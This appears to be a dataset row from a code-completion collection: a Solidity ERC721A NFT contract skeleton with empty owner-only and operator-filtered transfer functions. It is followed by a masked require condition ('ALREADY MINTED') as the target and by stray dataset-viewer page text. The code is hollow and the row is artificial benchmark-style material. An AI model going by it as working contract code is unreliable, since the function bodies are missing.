function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string calldata _newBaseUri) external onlyOwner {
}
function flipSale() external onlyOwner {
}
function flipOpenToPublic() external onlyOwner {
}
function collectReserves() external onlyOwner {
}
function withdraw() external onlyOwner {
}
function setApprovalForAll(address operator, bool approved) public override(ERC721A, IERC721A) onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public override(ERC721A, IERC721A) onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public override(ERC721A, IERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override(ERC721A, IERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override(ERC721A, IERC721A)
onlyAllowedOperator(from)
{
}
}
| !_wLMinted[msg.sender],"ALREADY MINTED" | 261,834 | !_wLMinted[msg.sender] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.